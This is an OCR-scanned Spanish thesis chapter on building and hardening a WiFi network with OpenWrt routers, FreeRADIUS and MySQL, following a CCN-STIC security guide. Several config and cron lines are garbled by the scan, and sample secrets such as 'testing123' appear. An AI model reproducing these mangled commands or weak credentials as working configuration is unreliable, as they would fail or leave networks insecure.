a la red para su uso compartido como, por ejemplo, una impresora. En el caso del CUD existe una
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impresora conectada a la red a la que se ha desactivado la opcidon de acceder a ella de forma
inalambrica. Asi se dificulta el acceso a posibles atacantes.

3.3 Configuracioén de la red
3.3.1 Instalacion de la red WiFi

Para la implantacion de la red se emplearan cuatro routers, de los cuales uno sirve como monitor
WIDS. En primer lugar, se explicara la instalacion de la red WiFi, exclusivamente.

La intencion inicial de la instalacion fue desplegar los routers desde la habitacion F-3. Se hubiera
dejado el router Master en dicha habitacion y se hubieran desplegado los otros dos routers por el
pasillo conectandolos sucesivamente uno a otro. Se hubiera cubierto la misma extension que se
pretende. Sin embargo, la limitacion de cable de red disponible hizo que se planteara la opcion que se
empled definitivamente.

El esquema de instalacion que seguiremos serd el mostrado en la Figura 3-14. En él podemos ver
que contamos con un Router 1, que funciona en modo Master, siendo el encargado de servicios tales
como Firewall y DHCP. Esta conectado por cable a Internet y a dos routers (2 y 3) que trabajan en
modo Slave (esclavo) dependiendo del Router 1. Los tres routers funcionan como puntos de acceso que
permiten la conexion a la red inalambrica denominada Red TFG.

F-3

Router 1 (( )))

WAN

042-A—» g

(Acceso a Internet)

043-A 044-A

Armario ¥ ¢

termet () Hat 1 ()

Router 2 Router3y
4

066-A 077-A

Y

Resto de conexiones

Figura 3-14 Esquema de configuracion de red

Los routers se desplegaron de la siguiente manera: en la segunda planta del cuartel MdV, en la
habitacion F-3 (ver Figura 3-15) se situo el Router 1 que se conectd a la toma de red 042-A para
acceso a Internet. Este router ademas actia como Master para acceso de los otros routers esclavos
conectados por las tomas de red 043-A y 044-A de la propia habitacion.
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Figura 3-15 Distribucion routers en MdV

Mediante un puente en el “Armario Conexiones Internet” se conectaron las tomas 043-A y 044-A
a las tomas 077-A y 066-A, respectivamente, siendo el 077-A una toma ethernet situada en el Hall y
066-A la toma de la habitacion L-2. De esta forma se aprovecha la red cableada del edificio para
conectar los AP y dar cobertura WiFi al ala Este del MdV y al Hall en su totalidad (probablemente la
cobertura sea mayor).

Sin contribuir a la cobertura de red propiamente dicha se instala un cuarto router que sirve como
monitor de la red al completo. La instalacidn se realiza en la misma ubicacion en la que se encuentra el
router del Hall. La Tabla 3-3 resume emplazamiento de los routers y conexiones.

Router Ubicacion Conecta con
Router 1 F-3 Routers2y 3
Router 2 L-2 Router 1
Router 3 Hall Router 1
Router 4 Hall Router 3

Tabla 3-3 Tabla resumen despliegue routers

A efectos de las conexiones propias de los routers, se sigue el esquema que se muestra a
continuacion (Figura 3-16), indicandose los puertos a los que va conectada cada toma de red
anteriormente mencionada.
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Armario
(Conexiones
Internet

-

Figura 3-16 Conexiones routers

A continuacién, se muestra dénde se realizo la instalacion de cada router.

Figura 3-17 Detalle router F-3

La Figura 3-17 muestra el cableado del Router 1, en F-3:

1. Cable de alimentacion.

2. Cable ethernet a portétil personal, desde el que se gestionan los routers.

3. Cable ethernet a portatil con Kali Linux, donde se encuentran instalados los diversos
servidores.

4. Cable ethernet hasta la toma 044-A, que conecta con 066-A en la camareta L-2.
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5. Cable ethernet hasta la toma 043-A, que conecta con 077-A en el Hall.
6. Cable ethernet hasta la toma 042-A, que conecta el router a la red WAN.

Se muestra en la Figura 3-18 y Figura 3-19 la ubicacion en la habitacion L-2 y en el Hall
respectivamente. Los routers en el Hall sirven, uno como punto de acceso, y el otro como monitor de

red para Kismet.

Figura 3-18 Router de L-2

Figura 3-19 Routers en el Hall
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Tras instalar la red, se decide realizar un mapeado del area que cubren los routers para ver si dan
servicio a la zona designada. También buscaremos posibles interferencias con la red wificud, que es la
red desplegada en el cuartel MdV, para minimizarlas ajustando los canales de trabajo.

Para el mapeado se empleo el software Ekahau HeatMapper [48] vy el resultado se puede ver en la
Figura 3-20. Se puede observar que las habitaciones L-4 y L-5 son las que tienen una peor cobertura.
Esto se podria solucionar situando el router de la habitacion L-2 en la L-4. Fue por motivos ajenos a la
instalacion por lo que dejé en L-2. En la Tabla 3-4 se muestran los valores en dBm segun los colores.
La Tabla 3-5 muestra el nivel de calidad de una red WiFi segun la sefial recibida en dBm.

Una de las medidas de seguridad que propone la guia CCN-STIC-816 es limitar la superficie de
exposicion de la red WiFi. Por tanto, se procede a modificar la potencia de transmision de los routers
para ajustar la cobertura lo mas posible al &rea designada.

Color Nivel de sefial en dBm
Rojo intenso -95a-88
Rojo -88 a -80
Naranja -80a-72
Amarilla -712 a-64
Verde -64 a -56
Verde intenso -56 a -48

Tabla 3-4 Leyenda de nivel de sefial Ekahau HeatMapper

Nivel de calidad Nivel de sefial en dBm

Minima aceptable Mayor de -80
Normal-baja -70a-80
Bueno -60a-70
Idéneo -40 a -60

Tabla 3-5 Nivel de calidad sefal WiFi
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Figura 3-20 Mapa de calor de Red TFG (20 dBm)

Como vemos en la Figura 3-20, considerando buenas las zonas de color amarillo del esquema, la
cobertura excede por mucho la zona que queremos cubrir. Nuestra intencion es seguir ofreciendo una
buena cobertura a nuestra zona, pero sin exponer tanto la superficie de la red.

Se procede a disminuir la potencia de los routers a la mitad y a volver a mapear la zona. En Figura
3-21 se puede ver como ha disminuido el &rea de cobertura de la red. Aunque la red siga cubriendo un
area superior a la deseada, se decide no disminuir mas la potencia para no privar de servicio WiFi a la
habitacion L-5, que se encuentra muy proxima a los limites de calidad asumibles.

De esta forma se llega a un compromiso entre QoS (Quality of Service) y seguridad.

Hidden (WPAD)
Red TFG (WPAZ)

= s02.11g
‘\ —— channel:8
T max54 Mbps

Figura 3-21 Mapa de calor de Red TFG (10 dBm)
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En el mapeo de la red también se realiza un estudio de los canales. En base a ese estudio, se
determinan los canales de los routers de la Red TFG para que no interfieran con la sefial de los routers
de wificud.

El criterio para la seleccion de los canales es dejar una diferencia de tres canales entre nuestro
router y la red que més interfiera. Las redes interferentes son las segundas en la lista de cada router
(ver Figura 3-22). Se puede ver que entre los routers de la Red TFG y los inmediatos en potencia de
wificud hay, al menos, tres canales de diferencia.

o 3 e ) o )
“*1 Router1 |~ == Router2 -~ = Router3 [
- urity urity urity

£8:108:447 ¢4t Red TFG (WPA2) A 1401:8287:ba2d A 140182800154 Red TFG (WPA2) ~
[ . Red TFG (WPA2)
= 802.119 | 2 802119 | 2 so211g
channel: 8 e Channel:3 channel: 11
e x4 M max 54 Mbps max 54 Mbps
04:18:00:7b:1d:20 wificud (WPA) 04:18:08:7b:20:20 wificud (WPA) 04:18:46:7b:2020 wificud (WPA)
| | E L 1]
| |2 e02.11n | |5 e02.11n | = 802.11n
channel: 11 e Channel: 8 e Ghannel:&
" max217 Mbps max 217 Mbps max 217 Mbps
14018287 ba2d Iianae:ac\)'sa Red TFG (WPA2) 580109447 0.4 Red TFO (WPA2)
FG (WPA
| = 802119 | = 802119
— channel: 11 — channel: 8
max 54 Mbps max 54 Mbps
KTOP ¥ D4:18:d8.7b:28:¢0 wificud (WPA) 04:18:d6:7b:24:90 wificud (WPA)
i
| = 802.11n | 2 802.11n
hannel: 0 channel: 1
N " —
max 217 Mbps max 217 Mbps
WPA 04:18:46:76:20:30 wificud (WPA) 14018287:ba2d
i Red TFG (WPA2)
| |2 s02.11n | |5 s0211g
e Channel: 38-40 — channel:3
ma max7 Mbps max 54 Mbps
04:18:08:7b:14:00 wificud (WPA) 7215202 DESKTOP-70000B! 4768 (W ises:s:oo:mm SETUP (Open)
| & 802110 \ 802.11n
e channel: 3640 — channel: 11
max7 Mbps nax 72 max 72 Mbps
P41 72 PA b2:70:2d:ab:db:17 IPhone (WPA2) 04:18:40:7b:20.30 wificud (WPA)
| 2 s02.41n | &= 80211
hannel: 1 hannel: 36-40
— © o CHhal .
max 144 Mbps max 7 Mbps
Do P D418:48 701480 wificud (WPA <4 t DESK P76 1 47
max 7 Mbps m 3
d (WPA 04:18:d0:7b:14:20 wifioud (WPA) b2:70:2d:ab:db:17 iPhone (WPA2)
| 5 s02.11n | &5 s0211n
channel: 11 channel: 1
T max217 Mbps = max 154 Mbps
WPA 04:18:48.7b:28.:00 wificud (WPA) D4:18:00.7b:1d:00 wificud (WPA
| |2 80211n
— channel: 1 20
max217 Mbps "
WPA 04:18:48:72:2d:20 wificud (WPA) D4:16-d8 1 (WF
| 2 s02.11n
channel: 11 e Ohannel: 11 [
S max 217 Mbps max 217 Mbps
04:18:86:7b:24:40 wificud (WPA) Tp-Link 54:06.14 C_DOT (WPA2 Tp-Link 54:00:14 _DOT (WPA2)
\ ¢ o . v " v
< > < > < >

Figura 3-22 Canales de los routers obtenidos durante mapeo de la red

3.3.2 Securizacion de la red

Para configurar los pardmetros de los routers se emplea el software PUTTY, mencionado en el
apartado 3.1.2, para acceder a la terminal y configurar los routers. También hubiera sido posible el
empleo del comando ssh en la terminal Linux. La configuracion del router se realiza mediante la
edicion de ficheros de texto almacenados en el router. Se emplea el editor de texto vim, instalado de
serie con el firmware OpenWirt.

A continuacién, se presenta la configuracion que se realiza para crear la red WiFi. Como medidas
principales destacamos el cambio de los valores por defecto:

e Canal, aunque previamente se hablo de ellos en la instalacion, mas adelante se explicara
cémo modificarlos.
e SSID (Service Set Identifier).
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e Afadir una contrasefia mediante cifrado WPA2 y AES. El caso particular de nuestra red se
empleara WPAZ2 Enterprise, en la que se otorga un nombre de usuario y contrasefia a cada
usuario.

e Se deshabilita WEP y TKIP.

e Seoculta la red a aquellos dispositivos que no tengan guardada la red.

e Se desactiva la interfaz grafica LuCl, por no poder acceder via HTTPS.

e Se afiade filtrado por MAC.

e Cambio de puerto acceso a router de 22 a 1537.

La primera medida que realizaremos es cambiar el puerto de acceso al router modificando el
archivo /etc/config/dropbear y cambiando el puerto de 22 a 1537. Se muestra en la Figura 3-23 como
queda el archivo de configuracion.

#2192.168.1.2 - PuTTY - m| X

config 'dropbear
-

option swordAuth
option 'Port' '1537'

- dropbear 1/5 20%

Figura 3-23 Configuracién archivo dropbear

En la Figura 3-24 podemos ver cémo quedaria el archivo de configuracion, el archivo
[etc/config/wireless de nuestro router.
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& 192.168.1.2 - PuTTY - | X

option 'country' 'ES
option 'txpower' '20'

option

Figura 3-24 Configuracién de la red WiFi

Con respecto a la configuracion anterior, se procederd a explicar cada uno de los términos de
configuracion.

o ‘wifi-device’ ‘wlan0’, hace referencia al adaptador WiFi del router,

o ‘fype’ ‘mac80211’, define el tipo de chipset [49] (hardware que actla como placa base del

centro de comunicaciones y control del tréfico del router).

‘macaddr’ "58:ef:68:44:7c:4f", define la direccion MAC del router.

‘channel’ ‘8, establece el canal de funcionamiento del router. Seleccionamos canal 8.

‘country’ ‘ES’, establece el pais en que nos encontramos. ES indica que es Espafa.

‘txpower’ ‘20, define el nivel de potencia del router en dBm. De momento se mantiene la

potencia en 20 dBm (100 mW).

‘wifi-iface’, establece la interfaz de red del router.

‘device’ ‘wlan()’ selecciona el adaptador WiFi anteriormente configurado.

‘network’ ‘lan’ selecciona la interfaz de red a la que esta conectado.

‘mode’ ‘ap’, define el modo de operacion del router. En nuestro caso, seleccionamos el

modo punto de acceso (Access point). Existen otros modos de operacion como modo

cliente, ad-hoc, empleo de WDS, modo monitor y ofrece la posibilidad de configurar una

red mesh.

e ‘SSID’ ‘Red TFG’, define el nombre de la red, Red TFG.

e ‘hidden’ ‘1’, nos permite ocultar la emision del SSID. Con valor 1 lo oculta y con 0 0
eliminando la opcion, la red vuelve a ser visible.

El resto de las opciones seran tratadas en el apartado 3.3.5 cuando se hable de FreeRADIUS.
Para afadir el filtrado MAC se afiadiria la siguiente opcién (ver Figura 3-25)

ion '"macfilter' 'allow'
"maclist! '00:11:22:33:44:55n

Figura 3-25 Filtrado MAC
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Con option ‘macfilter’ ‘allow’ activamos el filtro MAC, autorizando a conectarse exclusivamente
a las direcciones en la lista. Con ‘list ‘maclist’ ’00:11:22:33:44:55”, se afiaden las direcciones de los
distintos equipos.

Con el comando ‘# /etc/init.d/uhttpd disable’ se desactiva el acceso via web al router (ver Figura
3-26).

root@Routerl:~# /etc/init.d/uhttpd digablel

Figura 3-26 Desactivacion interfaz web

3.3.3 Dumb APs

Una vez configurado el router principal, debemos configurar los routers Dumb, que
proporcionaran cobertura WiFi, pero a través del router principal sin enrutar o realizar otra funcion.
Estos routers seran los routers 2 y 3 situados en el Hall y L-2, respectivamente.

Debemos conectarnos al punto de acceso mediante SSH. Configuraremos los AP 2 y 3
definiéndolos como un Dumb AP, es decir, estableceremos un modo “esclavo”. Para ello accederemos
al fichero de configuracién de red y veremos los valores por defecto (Figura 3-27) [50].

Figura 3-27 Estado de configuracion inicial de la red

Una vez abierto, modificaremos los parametros, quedando la configuracién como se muestra en la
Figura 3-28.
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#2192.168.1.3 - PuTTY - m| X

config 'switch vlan'

option 'device'

option
“ion

interface' 'lan'

option 'type' 'bri
on 'protc s

option

option

- /etc/config/network 1/15

Figura 3-28 Configuracion de red modificada

Con esta nueva configuracion conseguimos transformar los routers dumb en un switch virtual junto
con los puertos del router Master. Para ello se indica como gateway, puerta de enlace, la direccién del
router Master. Al router se le afiade una IP estatica (192.168.1.3).

Una vez configurada la red cableada, procedemos a modificar la red wireless como se muestra en
la Figura 3-29.

#2192.168.1.3 - PUTTY - a X

config

87:pba:2d"

config 'wifi-if
option 'Red TFEG'
option 'device' 'wlanO'

option 'mode'

Figura 3-29 Configuracion red wireless

Desactivaremos la funcion DHCP modificando el archivo dhcp en la carpeta /etc/config (Figura
3-30). Se modifica en la seccion config dhcp wan la opcion ignore cambiando O por un 1.
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localis
rebind protec i

rebind localhost # checking ar

rebind domain example. t w [ st RFC1918 responses r domains
loca v*/lan/!

'

domain
expandhosts

nonegcache

wuthoritat
lethers

11
Lon intert
on "‘.l"
on limit
tion leasetime
ion disable

warl
ion interfacc

ion ignore

Figura 3-30 Desactivando DHCP

Posteriormente desactivaremos el Firewall del router como se ilustra en la Figura 3-31.

»/init.d/network

Figura 3-31 Desactivando Firewall

3.3.4 Programacion de tareas

Podemos programar una serie de tareas que el router puede realizar de forma periddica gracias al
comando de Linux cron [51]. En nuestro caso, y siguiendo las directrices de la guia CCN-STIC 816,
procederemos a programar el encendido y apagado de la red WiFi del router para evitar su uso fuera
del horario establecido. Como se comentd en el apartado 3.2, para el CUD esta medida puede ser
contraproducente. El ejemplo a continuacién demuestra la posibilidad de establecer el horario con
OpenWrt. Para ello realizamos la siguiente secuencia:

># crontab -e #Abrimos la tabla para programar cron#

Como vemos en la Figura 3-32, se configura el router para apagar y encender la red WiFi a las
23:59 y 06:45, respectivamente, los dias laborables y de 23:59 a 08:00 los fines de semana.
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@ 192.168.1.2 - PuTTY - O X

n/wifi down

down

- /etc/crontabs.22411 [Modified] 5/5 100% \

Figura 3-32 Tabla programacion cron

La configuracion de la tabla cron sigue la siguiente estructura y los valores que puede tomar cada
columna (Tabla 3-6).

Minutos Hora Diadel mes Mes Diadelasemana Comando a ejecutar

0-59 0-23 1-31 1-12 0-6 Comando Linux

Tabla 3-6 Estructura tabla cron

Cada linea de la tabla ejecuta un comando en un momento determinado. En cada linea, las
columnas se separan por espacios y si queremos seleccionar varios momentos temporales distintos, por
ejemplo, los dias se separan mediante comas. Un asterisco en una columna indica que se realiza en
todo el &mbito de tiempo que recoge. Por ejemplo, un asterisco en la columna dia de la semana implica
que se ejecuta todos los dias.

Nuestra configuracién indica lo siguiente,

e 456 * * 1,23,4,5 /shin/wifi: Indica que a las 6:45 (45 6) los lunes, martes, miércoles,
jueves y viernes (1,2,3,4,5), todos los dias del mes (*), todos los meses del afio (*) se
encienda la interfaz WiFi.

o 4522 * * 123,45 /shin/wifi down: Indica que a las 22:45 (45 22) los lunes, martes,
miércoles, jueves y viernes (1,2,3,4,5), todos los dias del mes (*), todos los meses del afio
(*) se apague la interfaz WiFi.

e 08™**6,0 /shin/wifi: Indica que a las 08:00 (0 8) los sabados y domingos (0,6), todos los
dias del mes (*), todos los dias del afio (*) se encienda la interfaz WiFi.

e 5923 ** 6,0 /shin/wifi down: Indica que a las 23:59 (59 23) los sabados y domingos (0,6),
todos los dias del mes (*), todos los dias del afio (*) se apague la interfaz WiFi.

Con las lineas anteriores hemos programado el encendido y apagado del router los dias de diario y
fin de semana.
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Destacar la importancia de que el router tenga la hora acorde con nuestra zona horaria. Para ello
debemos configurar el archivo /etc/config/system como se muestra en la Figura 3-33, para que se
sincronice correctamente con un servidor (o varios) NTP (Network Time Protocol).

Las opciones para zonename Yy timezone estan recogidas en la pagina oficial de OpenWrt [52], y
cada zonename tiene su correspondiente codigo timezone.

Se debe indicar que los routers empleados para este TFG no tienen capacidad de apagado y
encendido. Para apagarlos se debe desconectar la alimentacion. El mecanismo utilizado para evitar el
uso de la red inalambrica es desactivando la interfaz WiFi.

option 'hostname' 'Routerd'

option 'zo ' '"Europe/Madrid'
option 'timezone' 'CET-1CEST,M3.5.
option 'conloglevel' '8!

option O

config '

Figura 3-33 Configuracién de hora y zona horaria

3.3.5 FreeRADIUS

FreeRADIUS [53] es un servidor de autenticacion libre, que emplearemos para dotar a nuestra red
de un servidor que gestione las conexiones de los usuarios a la red. En nuestro caso se hard mediante
un nombre de usuario y contrasefia por dispositivo.

RADIUS, que es el acrénimo de Remote Authentication Dial In User Service [54], es un protocolo
de red que permite la autenticacién y monitorizacion (en inglés, accounting). El protocolo realiza tres
funciones primarias.

e Autentica a los usuarios o dispositivos antes de permitirles acceder a la red.

e Autoriza a aquellos usuarios o dispositivos el acceso a servicios de red especificos.

e Monitorizacion (accounting), permite el seguimiento del uso que hace cada usuario de esos
Servicios.

3.3.5.1 Instalaciéon de FreeRADIUS

Antes de comenzar con la instalacion debemos explicar la diferencia entre servidor, usuario y
cliente en el ambito de RADIUS. Para RADIUS el servidor es el lugar donde se procesan las
solicitudes de acceso. El servidor comunica con el cliente, que es el router al que se le solicita acceso
en primer lugar. El acceso lo solicitan los usuarios (dispositivos tipo movil, portatil,...) a los clientes
(routers).
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Para implementar la medida de autenticacion mediante servidor (IEEE 802.1x) procederemos a
instalar el servidor FreeRADIUS en un portatil con sistema operativo Kali Linux. Para ello
instalaremos mediante la terminal el paquete basico de FreeRADIUS. Se emplea Kali Linux por
motivos ajenos a FreeRADIUS, pues podria instalarse en cualquier otra distribucion Linux.

FreeRADIUS puede ampliarse mediante médulos que permiten aumentar sus capacidades, aunque

$ sudo apt-get install FreeRADIUS

de momento trabajaremos con el médulo bésico.

A continuacion, procederemos a verificar la instalacion del servidor con el comando sudo

freeradius -X, como se ilustra en la Figura 3-34.

For more information about these matters,
Starting -

including
including
including
including
including
including
including
including
including
including
including
including
including
including
including

El resultado mostrado, Ready to process requests, (Figura 3-35) nos indica que el servidor se

instal6 correctamente.

listen {

:~$ sudo freeradius -X
FreeRADIUS Version 3.0.15
Copyright (C) 1999-2017 The FreeRADIUS server project and contributors
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE
You may redistribute copies of FreeRADIUS under the terms of the
GNU General Public License

reading configuration files ...
dictionary file /usr/share/freeradius/dictionary
dictionary file /usr/share/freeradius/dictionary.dhcp
dictionary file /usr/share/freeradius/dictionary.vqp
dictionary file /etc/freeradius/3.0/dictionary
0/radiusd.conf
0/proxy.conf
0/clients.conf

configuration
configuration
configuration

file
file
file

files in directory

configuration
configuration
configuration
configuration
configuration
configuration
configuration

file
file
file
file
file
file
file

/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.
/etc/freeradius/3.

0/mods -
0/mods -
0/mods -
0/mods -
0/mods -
0/mods -
0/mods -
0/mods -

see the file named COPYRIGHT

enabled/
enabled/preprocess
enabled/ntlm_auth
enabled/replicate
enabled/passwd
enabled/detail
enabled/cache eap
enabled/dvnamic clients

Figura 3-34 Verificando FreeRADIUS

type = "acct"
ipv6addr = ::
port = @

limit {

max_connections = 16
lifetime = @
idle_timeout = 3@

type = "auth"

ipaddr = 127.0.0.1
port = 18120

on auth address

on acct add
on auth a
on acct a

on auth a

on

Listening on proxy address ::

* port 1812 bound to server

* port 1813 bound to

: port 1812 bound to
: port 1813 bound to

27.0.0.1 port 18120

*

Ready to process requests
[]

3.3.5.2 Configuracion de FreeRADIUS
Para configurar el servidor existen varios archivos que podemos editar acorde al funcionamiento

port 55599
port 46052

Figura 3-35 Verificacion correcta FreeRADIUS

que deseemos por parte del servidor:
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radius.conf, que define los parametros de configuracion para el servidor RADIUS. Incluye
referencia al resto de archivos de configuracion.

clients.conf, define la informacion necesaria para configurar el cliente RADIUS,
incluyendo las direcciones IP y los secretos compartidos. Este archivo esta referenciado en
el fichero radius.conf.

dictionary, define los atributos locales del servidor RADIUS. Este fichero referencia los
archivos de diccionarios por defecto. Los archivos diccionario por defecto incluyen cientos
de definiciones de atributos para més de cien vendedores de clientes.

proxy.conf, define upstream home servers (define el servidor principal que da servicio a
otros servidores secundarios), incluyendo la informacion de direcciones IP y secretos
compartidos. El fichero radius.conf referencia el archivo proxy.conf.

sites-enabled/default. Este es el servidor virtual por defecto. Este archivo maneja las
peticiones de autenticacion y contabilizacion. Contiene una configuracién designada a
trabajar con el mayor nimero de protocolos de autenticacion. El fichero radius.conf
referencia el archivo sites-enabled/default.

sites-enabled/inner-tunnel. Este servidor virtual maneja los métodos de autenticacion que
son transportados mediante un tanel TLS (Transport Layer Security), como parte de las
autenticaciones PEAP (Protected Extensible Authenticacion Protocol) o EAP-TTLS. El
archivo radius.conf referencia al archivo sites-enabled/inner-tunnel.

users, archivo de configuracion de los usuarios de RADIUS.

La configuracion por defecto deberia cubrir las necesidades que se pueden solicitar al servidor. Por
tanto, solo modificaremos los valores imprescindibles, que son:

La configuracion del cliente mediante la edicion del archivo clients.conf, afiadiendo el
nuevo cliente que serd el Router 1. Como podemos ver en la Figura 3-36, el cliente se
define con su direccion IP y su secreto, que es el codigo que debemos introducir en la
propia configuracion del router cliente.

El siguiente archivo que modificaremos, users, nos permitira asignar un nombre de usuario
y clave para cada uno de los dispositivos que se van a conectar a la red, lo que nos permite
facilmente eliminar dispositivos de la red sin tener que modificar parametros que afecten al
resto de los usuarios. En la Figura 3-37 se muestran los tres usuarios que se han autorizado
a conectarse. Estos usuarios estan definidos por un nombre de usuario, al inicio de la linea,
y una contrasefia, en color rosa.

Ademas, podemos afiadir una serie de modificadores a los usuarios para limitar el niumero de
conexiones simultaneas o el tiempo maximo de conexion. Como nuestro router ya nos permite limitar
ese tiempo de conexion maximo, solo incluiremos el limite de conexiones simultdneas, como se
muestra en la ver Figura 3-38.

= 192.168.1.2
secret = testingl23

'clients.conf"™ 273L, 7535C

Figura 3-36 Afadiendo nuevo cliente
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Figura 3-37 Afiadiendo nuevos usarios

Manuel Cleartext-Password := "runner"”
Simultaneous-Use := 1

Figura 3-38 Limitando conexiones simultaneas

Una vez configurado el servidor, procedemos a configurar el cliente. OpenWrt no cuenta con
soporte WPA2 Enterprise de forma predefinida. Para afiadirlo, debemos previamente desactivar el
modulo wpad-mini y posteriormente instalar su version completa wpad, que afiade soporte a WPA2
Enterprise.

Una vez afiadido WPA2 Enterprise, configuramos el archivo wireless como se muestra en la
Figura 3-39.

tfg@kalicud: /etc/freeradius/3.0 @ G €

Archivo Editar Ver Buscar Terminal Ayuda

config 'wifi-device' 'wlan®@'
option 'type' 'mac8ezll’
option 'macaddr' '58:ef:68:44:7c:4f"'
option 'channel' '8’
option 'country' 'ES'
option 'txpower' '2@'

option 'device' 'wlan@’
option 'network' 'lan'
option 'mode' 'ap'’

option 'ssid' 'Red TFG'

option ‘'encryption' 'wpa2+ccmp'’
option 'auth_server' '192.168.1.200'
option 'auth secret' 'testingl23’
option 'acct server' '192.168.1.200'
option 'acct secret' 'testingl23’

C

option ‘'auth port' '
option 'acct port' '

- wireless 1/22 4%

Figura 3-39 Configurando WPA2 Enterprise

Nos centraremos en la configuracion de ‘wifi-iface’.

e encryption, aqui seleccionamos el método de encriptacion, wpa2+ccmp. De esta forma
forzamos a que se emplee WPA2 con CCMP, sin permitir el uso de TKIP.

e auth_server, seleccionamos la IP donde se encuentra el servidor para autorizacion, en
nuestro caso, la direccion IP del equipo empleado como servidor.

e auth_secret, introducimos el secreto que comparten el servidor para autenticacion con los
clientes.

e acct_server, seleccionamos la IP donde se encuentra el servidor para monitorizacién de
usuarios, que es la misma que en auth_server ya que el servidor se encuentra en el mismo
equipo.

e acct_secret, analogo a auth_secret.
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e auth_port, establecemos el puerto de enlace 1812 como puerto de comunicacion para
autenticacion con FreeRADIUS.

e acct_port, establecemos el puerto de enlace 1813 como puerto de comunicacion para
contabilizacion con FreeRADIUS.

3.3.6 Base de datos MySQL

El empleo de la base de datos MySQL nos permite una gestion de los usuarios mucho mas sencilla
e intuitiva. La base de datos remplazara los archivos users y clients.conf.

Para instalar MySQL [55], se descarga el paquete mysgl-apt-config_0.8.9-1_all.deb, que contiene
los archivos que debemos cargar en el repositorio APT, como se muestra en la Figura 3-40.

Opening mysql-apt-config_0.8.9-1_all.deb [~
You have chosen to open:

mysql-apt-config_0.8.9-1_all.deb
which is: paquete de Debian (35,1 KB)

from: https://repo.mysql.com

What should Firefox do with this file?

Open with | Gestor de archivadores (default) v

Save File

Do this automatically for files like this from now on.

Cancel

Figura 3-40 Descarga paquete mysql-apt-config_0.8.9-1 all.deb

A continuacion, instalamos el paquete descargado mediante:

$ sudo dpkg -i ~/Descargas/mysqgl-apt-config 0.8.9-1 all.deb

Posteriormente procedemos a actualizar la informacion del repositorio y a instalar el servidor

MySQL (Figura 3-41).

http:
http:
http:

http:
http:

3 http:
:7 http:
8 http:
:9 http:

Descargas$ sudo apt-get update
//repo.mysql.com/apt/debian
//repo.mysql.com/apt/debian
//repo.mysql.com/apt/debian

//repo.mysql.com/apt/debian
//repo.mysql.com/apt/debian

//ftp.free
//ftp.free
//ftp.free
//ftp.free

.fr/pub/kali kali-
.fr/pub/kali kali-
.fr/pub/kali kali-
.fr/pub/kali kali-

wheezy InRelease [24,4 kB]
wheezy/mysql-5.6 Sources [852 B]
wheezy/mysql-apt-config amd64 Packages [5

wheezy/mysql-5.6 amd64 Packages [2.917 B]
wheezy/mysql-tools amd64 Packages [1.212

rolling InRelease [30,5 kB]
rolling/main Sources [11,7 MB]
rolling/non-free Sources [120 kB]
rolling/contrib Sources [66,3 kB]

:10 http://ftp.free.fr/pub/kali kali-rolling/main amd64 Packages [15,8 MB]

:11 http://ftp.free.fr/pub/kali kali
:12 http://ftp.free.fr/pub/kali kali

Descargados 28,0 MB en 17s (1.693 kB/s)
Leyendo lista de paquetes... Hecho

-rolling/contrib amd64 Packages [115 kB]
-rolling/non-free amd64 Packages [163 kB]

~/Descargas$ sudo apt-get install mysql-server
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias

Figura 3-41 Actualizando repositorio e instalando servidor MySQL

Una vez instalado MySQL, se procede a configurarlo para su empleo con FreeRADIUS, creando
una base de datos en MySQL. Para la configuracion es importante usar la version mas actualizada de
FreeRADIUS mediante el comando:
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sudo apt-get upgrade freeradius

En primer lugar, se debe lanzar el servidor MySQL (ver Figura 3-42). Con el primer comando,
sudo service mysgl status se comprueba el estado del servidor. Como se muestra en el apartado Active:
inactive (dead), el servidor esta apagado. Con el segundo comando sudo service mysqgl start, se inicia
el servidor. Procedemos a comprobar su estado después de la activacion. Vemos que el servidor esta
activo y el grupo fecha y hora de activacion.

-$ sudo service mysql status
[sudo] password for tfg:
® mysql.service - LSB: Start/ Stop MySQL Community Server daemon
Loaded: loaded (/etc/init.d/mysql; generated; vendor preset: disabled)
Active: inactive (dead)
Docs: man:systemd-sysv-generator(8)
:~$ sudo service mysql start
{~% sudo service mysql status
® mysql.service - LSB: Start/ Stop MySQL Community Server daemon
Loaded: loaded (/etc/init.d/mysql; generated; vendor preset: disabled)
Active: active (exited) since Wed 2018-02-14 07:54:22 CET; 3s ago
Docs: man:systemd-sysv-generator(8)
Process: ExecStart=/etc/init.d/mysql start (code=exited, status=0/SUCCESS

kalicud systemd[1]: Starting LSB: Start/ Stop MySQL Community Se
kalicud su[2092]: Successful su for mysql by root

kalicud su[2092]: + ??? root:mysql

kalicud su[2092]: pam unix(su:session): session opened for user
kalicud su[2092]: pam unix(su:session): session closed for user
kalicud mysql[2025]: ..

kalicud mysql[2025]: MySQL Community Server 5.6.39 is started.
kalicud systemd[1]: Started LSB: Start/ Stop MySQL Community Ser

Figura 3-42 Lanzamiento del servidor

Una vez lanzado el servidor, accederemos a configurarlo, accediendo a él mediante el comando
$ mysql -uroot -p (nos conectamos al motor de MySQL con el usuario root, y nos solicita su
contrasefia). El establecimiento de la conexion se ilustra en la Figura 3-43.

:~$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.6.39 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

;' or '\h' for help. Type '\c' to clear the current input statement.

Figura 3-43 Conectandose a MySQL

El siguiente paso es crear una base de datos a la que llamaremos “radius” mediante la ejecucion
del comando SQL.:

mysqgl > CREATE DATABASE radius

Posteriormente se importan las estructuras de tablas y contenidos que trae FreeRADIUS
preestablecidos para el uso en MySQL. Para ello establecemos la base de datos con la que vamos a
trabajar, “radius”, con mysgl> use radius, e importamos del directorio de FreeRADIUS el archivo
schema.sql con el comando source.
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; > information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
adius/3.0/mods-config/sql/main/mysql/schema.sql
Query 0K, © rows affe d (8,89 sec)

ERROR 1050 (42501): Table 'radcheck' already exists
Query 0K, © rows affected (0,35 sec)

Query 0K, © rows affected (0,36 sec)

ERROR 1850 (42501): Table 'radre
